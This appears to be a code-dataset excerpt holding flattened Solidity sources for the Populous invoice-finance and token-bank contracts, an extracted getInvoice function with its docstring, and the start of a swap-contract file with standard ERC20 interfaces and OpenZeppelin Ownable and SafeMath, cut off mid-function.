require(actionStatus[_blockchainActionId] == false); require(depositAddresses[_clientId] == 0x0 && depositClientIds[_depositAddress] == 0x0); depositAddresses[_clientId] = _depositAddress; depositClientIds[_depositAddress] = _clientId; assert(depositAddresses[_clientId] != 0x0 && depositClientIds[_depositAddress] != 0x0); return true; } /** @dev Adds a new currency sumbol and smart contract address * @param _currencyAddress the currency smart contract address * @param _currencySymbol the currency symbol * @return success true/false denoting successful function call */ function setCurrency(bytes32 _blockchainActionId, address _currencyAddress, bytes32 _currencySymbol) public onlyServerOrOnlyPopulous returns (bool success) { require(actionStatus[_blockchainActionId] == false); require(currencySymbols[_currencyAddress] == 0x0 && currencyAddresses[_currencySymbol] == 0x0); currencySymbols[_currencyAddress] = _currencySymbol; currencyAddresses[_currencySymbol] = _currencyAddress; assert(currencyAddresses[_currencySymbol] != 0x0 && currencySymbols[_currencyAddress] != 0x0); return true; } /** @dev Updates a currency sumbol and smart contract address * @param _currencyAddress the currency smart contract address * @param _currencySymbol the currency symbol * @return success true/false denoting successful function call */ function _setCurrency(bytes32 _blockchainActionId, address _currencyAddress, bytes32 _currencySymbol) public onlyServerOrOnlyPopulous returns (bool success) { require(actionStatus[_blockchainActionId] == false); currencySymbols[_currencyAddress] = _currencySymbol; currencyAddresses[_currencySymbol] = _currencyAddress; assert(currencyAddresses[_currencySymbol] != 0x0 && currencySymbols[_currencyAddress] != 0x0); setBlockchainActionData(_blockchainActionId, _currencySymbol, 0, 0x0, _currencyAddress, 0); return true; } /** @dev set blockchain action data in struct * @param _blockchainActionId the blockchain action id * @param currency the token currency symbol * @param accountId the clientId * @param to the blockchain address or smart contract address used in the transaction * @param amount the amount of tokens in the transaction * @return success true/false denoting successful function call */ function setBlockchainActionData( bytes32 _blockchainActionId, bytes32 currency, uint amount, bytes32 accountId, address to, uint pptFee) public onlyServerOrOnlyPopulous returns (bool success) { require(actionStatus[_blockchainActionId] == false); blockchainActionIdData[_blockchainActionId].currency = currency; blockchainActionIdData[_blockchainActionId].amount = amount; blockchainActionIdData[_blockchainActionId].accountId = accountId; blockchainActionIdData[_blockchainActionId].to = to; blockchainActionIdData[_blockchainActionId].pptFee = pptFee; actionStatus[_blockchainActionId] = true; return true; } /** @dev Updates a deposit address for client id * @param _blockchainActionId the blockchain action id * @param _clientId the client id * @param _depositContract the deposit contract address for the client * @return success true/false denoting successful function call */ function _setDepositAddress(bytes32 _blockchainActionId, bytes32 _clientId, address _depositContract) public onlyServerOrOnlyPopulous returns (bool success) { require(actionStatus[_blockchainActionId] == false); depositAddresses[_clientId] = _depositContract; depositClientIds[_depositContract] = _clientId; // check that deposit address has been stored for client Id assert(depositAddresses[_clientId] == _depositContract && depositClientIds[_depositContract] == _clientId); // set blockchain action data setBlockchainActionData(_blockchainActionId, 0x0, 0, _clientId, depositAddresses[_clientId], 0); return true; } /** @dev Add a new invoice to the platform * @param _providerUserId the providers user id * @param _invoiceCountryCode the country code of the provider * @param _invoiceCompanyNumber the providers company number * @param _invoiceCompanyName the providers company name * @param _invoiceNumber the invoice number * @return success true or false if function call is successful */ function setInvoice( bytes32 _blockchainActionId, bytes32 _providerUserId, bytes2 _invoiceCountryCode, bytes32 _invoiceCompanyNumber, bytes32 _invoiceCompanyName, bytes32 _invoiceNumber) public onlyServerOrOnlyPopulous returns (bool success) { require(actionStatus[_blockchainActionId] == false); bytes32 providerUserId; bytes32 companyName; (providerUserId, companyName) = getInvoice(_invoiceCountryCode, _invoiceCompanyNumber, _invoiceNumber); require(providerUserId == 0x0 && companyName == 0x0); // country code => company number => invoice number => invoice data invoices[_invoiceCountryCode][_invoiceCompanyNumber][_invoiceNumber].providerUserId = _providerUserId; invoices[_invoiceCountryCode][_invoiceCompanyNumber][_invoiceNumber].invoiceCompanyName = _invoiceCompanyName; assert( invoices[_invoiceCountryCode][_invoiceCompanyNumber][_invoiceNumber].providerUserId != 0x0 && invoices[_invoiceCountryCode][_invoiceCompanyNumber][_invoiceNumber].invoiceCompanyName != 0x0 ); return true; } /** @dev Add a new invoice provider to the platform * @param _blockchainActionId the blockchain action id * @param _userId the user id of the provider * @param _companyNumber the providers company number * @param _companyName the providers company name * @param _countryCode the providers country code * @return success true or false if function call is successful */ function setProvider( bytes32 _blockchainActionId, bytes32 _userId, bytes32 _companyNumber, bytes32 _companyName, bytes2 _countryCode) public onlyServerOrOnlyPopulous returns (bool success) { require(actionStatus[_blockchainActionId] == false); require( providerCompanyData[_userId].companyNumber == 0x0 && providerCompanyData[_userId].countryCode == 0x0 && providerCompanyData[_userId].companyName == 0x0); providerCompanyData[_userId].countryCode = _countryCode; providerCompanyData[_userId].companyName = _companyName; providerCompanyData[_userId].companyNumber = _companyNumber; providerData[_countryCode][_companyNumber] = _userId; return true; } /** @dev Update an added invoice provider to the platform * @param _blockchainActionId the blockchain action id * @param _userId the user id of the provider * @param _companyNumber the providers company number * @param _companyName the providers company name * @param _countryCode the providers country code * @return success true or false if function call is successful */ function _setProvider( bytes32 _blockchainActionId, bytes32 _userId, bytes32 _companyNumber, bytes32 _companyName, bytes2 _countryCode) public onlyServerOrOnlyPopulous returns (bool success) { require(actionStatus[_blockchainActionId] == false); providerCompanyData[_userId].countryCode = _countryCode; providerCompanyData[_userId].companyName = _companyName; providerCompanyData[_userId].companyNumber = _companyNumber; providerData[_countryCode][_companyNumber] = _userId; setBlockchainActionData(_blockchainActionId, 0x0, 0, _userId, 0x0, 0); return true; } // CONSTANT METHODS /** @dev Gets a deposit address with the client id * @return clientDepositAddress The client's deposit address */ function getDepositAddress(bytes32 _clientId) public view returns (address clientDepositAddress){ return depositAddresses[_clientId]; } /** @dev Gets a client id linked to a deposit address * @return depositClientId The client id */ function getClientIdWithDepositAddress(address _depositContract) public view returns (bytes32 depositClientId){ return depositClientIds[_depositContract]; } /** @dev Gets a currency smart contract address * @return currencyAddress The currency address */ function getCurrency(bytes32 _currencySymbol) public view returns (address currencyAddress) { return currencyAddresses[_currencySymbol]; } /** @dev Gets a currency symbol given it's smart contract address * @return currencySymbol The currency symbol */ function getCurrencySymbol(address _currencyAddress) public view returns (bytes32 currencySymbol) { return currencySymbols[_currencyAddress]; } /** @dev Gets details of a currency given it's smart contract address * @return _symbol The currency symbol * @return _name The currency name * @return _decimals The currency decimal places/precision */ function getCurrencyDetails(address _currencyAddress) public view returns (bytes32 _symbol, bytes32 _name, uint8 _decimals) { return (CurrencyToken(_currencyAddress).symbol(), CurrencyToken(_currencyAddress).name(), CurrencyToken(_currencyAddress).decimals()); } /** @dev Get the blockchain action Id Data for a blockchain Action id * @param _blockchainActionId the blockchain action id * @return bytes32 currency * @return uint amount * @return bytes32 accountId * @return address to */ function getBlockchainActionIdData(bytes32 _blockchainActionId) public view returns (bytes32 _currency, uint _amount, bytes32 _accountId, address _to) { require(actionStatus[_blockchainActionId] == true); return (blockchainActionIdData[_blockchainActionId].currency, blockchainActionIdData[_blockchainActionId].amount, blockchainActionIdData[_blockchainActionId].accountId, blockchainActionIdData[_blockchainActionId].to); } /** @dev Get the bool status of a blockchain Action id * @param _blockchainActionId the blockchain action id * @return bool actionStatus */ function getActionStatus(bytes32 _blockchainActionId) public view returns (bool _blockchainActionStatus) { return actionStatus[_blockchainActionId]; } /** @dev Gets the details of an invoice with the country code, company number and invocie number. * @param _invoiceCountryCode The country code. * @param _invoiceCompanyNumber The company number. * @param _invoiceNumber The invoice number * @return providerUserId The invoice provider user Id * @return invoiceCompanyName the invoice company name */ function getInvoice(bytes2 _invoiceCountryCode, bytes32 _invoiceCompanyNumber, bytes32 _invoiceNumber) public view returns (bytes32 providerUserId, bytes32 invoiceCompanyName) { bytes32 _providerUserId = invoices[_invoiceCountryCode][_invoiceCompanyNumber][_invoiceNumber].providerUserId; bytes32 _invoiceCompanyName = invoices[_invoiceCountryCode][_invoiceCompanyNumber][_invoiceNumber].invoiceCompanyName; return (_providerUserId, _invoiceCompanyName); } /** @dev Gets the details of an invoice provider with the country code and company number. * @param _providerCountryCode The country code. * @param _providerCompanyNumber The company number. * @return isEnabled The boolean value true/false indicating whether invoice provider is enabled or not * @return providerId The invoice provider user Id * @return companyName the invoice company name */ function getProviderByCountryCodeCompanyNumber(bytes2 _providerCountryCode, bytes32 _providerCompanyNumber) public view returns (bytes32 providerId, bytes32 companyName) { bytes32 providerUserId = providerData[_providerCountryCode][_providerCompanyNumber]; return (providerUserId, providerCompanyData[providerUserId].companyName); } /** @dev Gets the details of an invoice provider with the providers user Id. * @param _providerUserId The provider user Id. * @return countryCode The invoice provider country code * @return companyName the invoice company name */ function getProviderByUserId(bytes32 _providerUserId) public view returns (bytes2 countryCode, bytes32 companyName, bytes32 companyNumber) { return (providerCompanyData[_providerUserId].countryCode, providerCompanyData[_providerUserId].companyName, providerCompanyData[_providerUserId].companyNumber); } /** @dev Gets the version number for the current contract instance * @return _version The version number */ function getVersion() public view returns (uint256 _version) { return version; } } // File: contracts/Populous.sol /** This is the core module of the system. Currently it holds the code of the Bank and crowdsale modules to avoid external calls and higher gas costs. It might be a good idea in the future to split the code, separate Bank and crowdsale modules into external files and have the core interact with them with addresses and interfaces. */ /// @title Populous contract contract Populous is withAccessManager { // EVENTS // Bank events event EventUSDCToUSDp(bytes32 _blockchainActionId, bytes32 _clientId, uint amount); event EventUSDpToUSDC(bytes32 _blockchainActionId, bytes32 _clientId, uint amount); event EventDepositAddressUpgrade(bytes32 blockchainActionId, address oldDepositContract, address newDepositContract, bytes32 clientId, uint256 version); event EventWithdrawPPT(bytes32 blockchainActionId, bytes32 accountId, address depositContract, address to, uint amount); event EventWithdrawPoken(bytes32 _blockchainActionId, bytes32 accountId, bytes32 currency, uint amount); event EventNewDepositContract(bytes32 blockchainActionId, bytes32 clientId, address depositContractAddress, uint256 version); event EventWithdrawXAUp(bytes32 _blockchainActionId, address erc1155Token, uint amount, uint token_id, bytes32 accountId, uint pptFee); // FIELDS struct tokens { address _token; uint256 _precision; } mapping(bytes8 => tokens) public tokenDetails; // NON-CONSTANT METHODS // Constructor method called when contract instance is // deployed with 'withAccessManager' modifier. function Populous(address _accessManager) public withAccessManager(_accessManager) { /*ropsten //pxt tokenDetails[0x505854]._token = 0xD8A7C588f8DC19f49dAFd8ecf08eec58e64d4cC9; tokenDetails[0x505854]._precision = 8; //usdc tokenDetails[0x55534443]._token = 0xF930f2C7Bc02F89D05468112520553FFc6D24801; tokenDetails[0x55534443]._precision = 6; //tusd tokenDetails[0x54555344]._token = 0x78e7BEE398D66660bDF820DbDB415A33d011cD48; tokenDetails[0x54555344]._precision = 18; //ppt tokenDetails[0x505054]._token = 0x0ff72e24AF7c09A647865820D4477F98fcB72a2c; tokenDetails[0x505054]._precision = 8; //xau tokenDetails[0x584155]._token = 0x9b935E3779098bC5E1ffc073CaF916F1E92A6145; tokenDetails[0x584155]._precision = 0; //usdp tokenDetails[0x55534470]._token = 0xf4b1533b6F45fAC936fA508F7e5db6d4BbC4c8bd; tokenDetails[0x55534470]._precision = 6; */ /*livenet*/ //pxt tokenDetails[0x505854]._token = 0xc14830E53aA344E8c14603A91229A0b925b0B262; tokenDetails[0x505854]._precision = 8; //usdc tokenDetails[0x55534443]._token = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; tokenDetails[0x55534443]._precision = 6; //tusd tokenDetails[0x54555344]._token = 0x8dd5fbCe2F6a956C3022bA3663759011Dd51e73E; tokenDetails[0x54555344]._precision = 18; //ppt tokenDetails[0x505054]._token = 0xd4fa1460F537bb9085d22C7bcCB5DD450Ef28e3a; tokenDetails[0x505054]._precision = 8; //xau tokenDetails[0x584155]._token = 0x73a3b7DFFE9af119621f8467D8609771AB4BC33f; tokenDetails[0x584155]._precision = 0; //usdp tokenDetails[0x55534470]._token = 0xBaB5D0f110Be6f4a5b70a2FA22eD17324bFF6576; tokenDetails[0x55534470]._precision = 6; } /** BANK MODULE */ // NON-CONSTANT METHODS function usdcToUsdp( address _dataManager, bytes32 _blockchainActionId, bytes32 _clientId, uint amount) public onlyServer { // client deposit smart contract address address _depositAddress = DataManager(_dataManager).getDepositAddress(_clientId); require(_dataManager != 0x0 && _depositAddress != 0x0 && amount > 0); //transfer usdc from deposit contract to server/admin require(DepositContract(_depositAddress).transfer(tokenDetails[0x55534443]._token, msg.sender, amount) == true); // mint USDp into depositAddress with amount require(CurrencyToken(tokenDetails[0x55534470]._token).mint(amount, _depositAddress) == true); //set action data require(DataManager(_dataManager).setBlockchainActionData(_blockchainActionId, 0x55534470, amount, _clientId, _depositAddress, 0) == true); //event emit EventUSDCToUSDp(_blockchainActionId, _clientId, amount); } function usdpToUsdc( address _dataManager, bytes32 _blockchainActionId, bytes32 _clientId, uint amount) public onlyServer { // client deposit smart contract address address _depositAddress = DataManager(_dataManager).getDepositAddress(_clientId); require(_dataManager != 0x0 && _depositAddress != 0x0 && amount > 0); //destroyFrom depositAddress USDp amount require(CurrencyToken(tokenDetails[0x55534470]._token).destroyTokensFrom(amount, _depositAddress) == true); //transferFrom USDC from server to depositAddress require(CurrencyToken(tokenDetails[0x55534443]._token).transferFrom(msg.sender, _depositAddress, amount) == true); //set action data require(DataManager(_dataManager).setBlockchainActionData(_blockchainActionId, 0x55534470, amount, _clientId, _depositAddress, 0) == true); //event emit EventUSDpToUSDC(_blockchainActionId, _clientId, amount); } // Creates a new 'depositAddress' gotten from deploying a deposit contract linked to a client ID function createAddress(address _dataManager, bytes32 _blockchainActionId, bytes32 clientId) public onlyServer { require(_dataManager != 0x0); DepositContract newDepositContract; DepositContract dc; if (DataManager(_dataManager).getDepositAddress(clientId) != 0x0) { dc = DepositContract(DataManager(_dataManager).getDepositAddress(clientId)); newDepositContract = new DepositContract(clientId, AM); require(!dc.call(bytes4(keccak256("getVersion()")))); // only checking version 1 now to upgrade to version 2 address PXT = tokenDetails[0x505854]._token; address PPT = tokenDetails[0x505054]._token; if(dc.balanceOf(PXT) > 0){ require(dc.transfer(PXT, newDepositContract, dc.balanceOf(PXT)) == true); } if(dc.balanceOf(PPT) > 0) { require(dc.transfer(PPT, newDepositContract, dc.balanceOf(PPT)) == true); } require(DataManager(_dataManager)._setDepositAddress(_blockchainActionId, clientId, newDepositContract) == true); EventDepositAddressUpgrade(_blockchainActionId, address(dc), DataManager(_dataManager).getDepositAddress(clientId), clientId, newDepositContract.getVersion()); } else { newDepositContract = new DepositContract(clientId, AM); require(DataManager(_dataManager).setDepositAddress(_blockchainActionId, newDepositContract, clientId) == true); require(DataManager(_dataManager).setBlockchainActionData(_blockchainActionId, 0x0, 0, clientId, DataManager(_dataManager).getDepositAddress(clientId), 0) == true); EventNewDepositContract(_blockchainActionId, clientId, DataManager(_dataManager).getDepositAddress(clientId), newDepositContract.getVersion()); } } /* /// Ether to XAUp exchange between deposit contract and Populous.sol function exchangeXAUP( address _dataManager, bytes32 _blockchainActionId, address erc20_tokenAddress, uint erc20_amount, uint xaup_amount, uint _tokenId, bytes32 _clientId, address adminExternalWallet) public onlyServer { ERC1155 xa = ERC1155(tokenDetails[0x584155]._token); // client deposit smart contract address address _depositAddress = DataManager(_dataManager).getDepositAddress(_clientId); require( // check dataManager contract is valid _dataManager != 0x0 && // check deposit address of client _depositAddress != 0x0 && // check xaup token address // tokenDetails[0x584155]._token != 0x0 && erc20_tokenAddress != 0x0 && // check action id is unused DataManager(_dataManager).getActionStatus(_blockchainActionId) == false && // deposit contract version >= 2 DepositContract(_depositAddress).getVersion() >= 2 && // populous server xaup balance xa.balanceOf(_tokenId, msg.sender) >= xaup_amount ); // transfer erc20 token balance from clients deposit contract to server/admin require(DepositContract(_depositAddress).transfer(erc20_tokenAddress, adminExternalWallet, erc20_amount) == true); // transfer xaup tokens to clients deposit address from populous server allowance xa.safeTransferFrom(msg.sender, _depositAddress, _tokenId, xaup_amount, ""); // set action status in dataManager require(DataManager(_dataManager).setBlockchainActionData(_blockchainActionId, 0x0, erc20_amount, _clientId, _depositAddress, 0) == true); // emit event EventExchangeXAUp(_blockchainActionId, erc20_tokenAddress, erc20_amount, xaup_amount, _tokenId, _clientId, _depositAddress); } */ /** dev Import an amount of pokens of a particular currency from an ethereum wallet/address to bank * @param _blockchainActionId the blockchain action id * @param accountId the account id of the client * @param from the blockchain address to import pokens from * @param currency the poken currency */ function withdrawPoken( address _dataManager, bytes32 _blockchainActionId, bytes32 currency, uint256 amount, uint256 amountUSD, address from, address to, bytes32 accountId, uint256 inCollateral, uint256 pptFee, address adminExternalWallet) public onlyServer { require(_dataManager != 0x0); //DataManager dm = DataManager(_dataManager); require(DataManager(_dataManager).getActionStatus(_blockchainActionId) == false && DataManager(_dataManager).getDepositAddress(accountId) != 0x0); require(adminExternalWallet != 0x0 && pptFee > 0 && amount > 0); require(DataManager(_dataManager).getCurrency(currency) != 0x0); DepositContract o = DepositContract(DataManager(_dataManager).getDepositAddress(accountId)); // check if pptbalance minus collateral held is more than pptFee then transfer pptFee from users ppt deposit to adminWallet require(SafeMath.safeSub(o.balanceOf(tokenDetails[0x505054]._token), inCollateral) >= pptFee); require(o.transfer(tokenDetails[0x505054]._token, adminExternalWallet, pptFee) == true); // WITHDRAW PART / DEBIT if(amount > CurrencyToken(DataManager(_dataManager).getCurrency(currency)).balanceOf(from)) { // destroying total balance as user has less than pokens they want to withdraw require(CurrencyToken(DataManager(_dataManager).getCurrency(currency)).destroyTokensFrom(CurrencyToken(DataManager(_dataManager).getCurrency(currency)).balanceOf(from), from) == true); //remaining ledger balance of deposit address is 0 } else { // destroy amount from balance as user has more than pokens they want to withdraw require(CurrencyToken(DataManager(_dataManager).getCurrency(currency)).destroyTokensFrom(amount, from) == true); //left over balance is deposit address balance. } // TRANSFER PART / CREDIT // approve currency amount for populous for the next require to pass if(amountUSD > 0) //give the user USDC { CurrencyToken(tokenDetails[0x55534443]._token).transferFrom(msg.sender, to, amountUSD); }else { //give the user GBP / poken currency CurrencyToken(DataManager(_dataManager).getCurrency(currency)).transferFrom(msg.sender, to, amount); } require(DataManager(_dataManager).setBlockchainActionData(_blockchainActionId, currency, amount, accountId, to, pptFee) == true); EventWithdrawPoken(_blockchainActionId, accountId, currency, amount); } /** @dev Withdraw an amount of PPT Populous tokens to a blockchain address * @param _blockchainActionId the blockchain action id * @param pptAddress the address of the PPT smart contract * @param accountId the account id of the client * @param pptFee the amount of fees to pay in PPT tokens * @param adminExternalWallet the platform admin wallet address to pay the fees to * @param to the blockchain address to withdraw and transfer the pokens to * @param inCollateral the amount of pokens withheld by the platform */ function withdrawERC20( address _dataManager, bytes32 _blockchainActionId, address pptAddress, bytes32 accountId, address to, uint256 amount, uint256 inCollateral, uint256 pptFee, address adminExternalWallet) public onlyServer { require(_dataManager != 0x0); require(DataManager(_dataManager).getActionStatus(_blockchainActionId) == false && DataManager(_dataManager).getDepositAddress(accountId) != 0x0); require(adminExternalWallet != 0x0 && pptFee >= 0 && amount > 0); address depositContract = DataManager(_dataManager).getDepositAddress(accountId); if(pptAddress == tokenDetails[0x505054]._token) { uint pptBalance = SafeMath.safeSub(DepositContract(depositContract).balanceOf(tokenDetails[0x505054]._token), inCollateral); require(pptBalance >= SafeMath.safeAdd(amount, pptFee)); } else { uint erc20Balance = DepositContract(depositContract).balanceOf(pptAddress); require(erc20Balance >= amount); } require(DepositContract(depositContract).transfer(tokenDetails[0x505054]._token, adminExternalWallet, pptFee) == true); require(DepositContract(depositContract).transfer(pptAddress, to, amount) == true); bytes32 tokenSymbol = iERC20Token(pptAddress).symbol(); require(DataManager(_dataManager).setBlockchainActionData(_blockchainActionId, tokenSymbol, amount, accountId, to, pptFee) == true); EventWithdrawPPT(_blockchainActionId, accountId, DataManager(_dataManager).getDepositAddress(accountId), to, amount); } // erc1155 withdraw function from deposit contract /* function withdrawERC1155( address _dataManager, bytes32 _blockchainActionId, address _to, uint256 _id, uint256 _value, bytes32 accountId, uint256 pptFee, address adminExternalWallet) public onlyServer { require(DataManager(_dataManager).getActionStatus(_blockchainActionId) == false && DataManager(_dataManager).getDepositAddress(accountId) != 0x0); require(adminExternalWallet != 0x0 && pptFee > 0 && _value > 0); DepositContract o = DepositContract(DataManager(_dataManager).getDepositAddress(accountId)); require(o.transfer(tokenDetails[0x505054]._token, adminExternalWallet, pptFee) == true); // transfer xaup tokens to address from deposit contract require(o.transferERC1155(tokenDetails[0x584155]._token, _to, _id, _value) == true); // set action status in dataManager require(DataManager(_dataManager).setBlockchainActionData(_blockchainActionId, 0x584155, _value, accountId, _to, pptFee) == true); // emit event EventWithdrawXAUp(_blockchainActionId, tokenDetails[0x584155]._token, _value, _id, accountId, pptFee); } */ }
Gets the details of an invoice with the country code, company number and invocie number. _invoiceCountryCode The country code. _invoiceCompanyNumber The company number. _invoiceNumber The invoice number return providerUserId The invoice provider user Id return invoiceCompanyName the invoice company name/
function getInvoice(bytes2 _invoiceCountryCode, bytes32 _invoiceCompanyNumber, bytes32 _invoiceNumber) public view returns (bytes32 providerUserId, bytes32 invoiceCompanyName) { bytes32 _providerUserId = invoices[_invoiceCountryCode][_invoiceCompanyNumber][_invoiceNumber].providerUserId; bytes32 _invoiceCompanyName = invoices[_invoiceCountryCode][_invoiceCompanyNumber][_invoiceNumber].invoiceCompanyName; return (_providerUserId, _invoiceCompanyName); }
5,475,848
// File: contracts/interfaces/IERC20.sol // SPDX-License-Identifier: AGPL-3.0 pragma solidity >=0.6.0 <0.8.0; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. (This is a BEP-20 token specific.) */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts/interfaces/IBurnableToken.sol pragma solidity >=0.6.0 <0.8.0; interface IBurnableToken is IERC20 { function mint(address target, uint256 amount) external returns (bool); function burn(uint256 amount) external returns (bool); function mintable() external returns (bool); } // File: contracts/interfaces/ISwapContract.sol pragma solidity >=0.6.0 <0.8.0; interface ISwapContract { function singleTransferERC20( address _destToken, address _to, uint256 _amount, uint256 _totalSwapped, uint256 _rewardsAmount, bytes32[] memory _redeemedFloatTxIds ) external returns (bool); function multiTransferERC20TightlyPacked( address _destToken, bytes32[] memory _addressesAndAmounts, uint256 _totalSwapped, uint256 _rewardsAmount, bytes32[] memory _redeemedFloatTxIds ) external returns (bool); function collectSwapFeesForBTC( address _destToken, uint256 _incomingAmount, uint256 _minerFee, uint256 _rewardsAmount ) external returns (bool); function recordIncomingFloat( address _token, bytes32 _addressesAndAmountOfFloat, bool _zerofee, bytes32 _txid ) external returns (bool); function recordOutcomingFloat( address _token, bytes32 _addressesAndAmountOfLPtoken, uint256 _minerFee, bytes32 _txid ) external returns (bool); function distributeNodeRewards() external returns (bool); function recordUTXOSweepMinerFee(uint256 _minerFee, bytes32 _txid) external returns (bool); function churn( address _newOwner, bytes32[] memory _rewardAddressAndAmounts, bool[] memory _isRemoved, uint8 _churnedInCount, uint8 _tssThreshold, uint8 _nodeRewardsRatio, uint8 _withdrawalFeeBPS ) external returns (bool); function isTxUsed(bytes32 _txid) external view returns (bool); function getCurrentPriceLP() external view returns (uint256); function getDepositFeeRate(address _token, uint256 _amountOfFloat) external view returns (uint256); function getFloatReserve(address _tokenA, address _tokenB) external returns (uint256 reserveA, uint256 reserveB); function getActiveNodes() external returns (bytes32[] memory); } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal 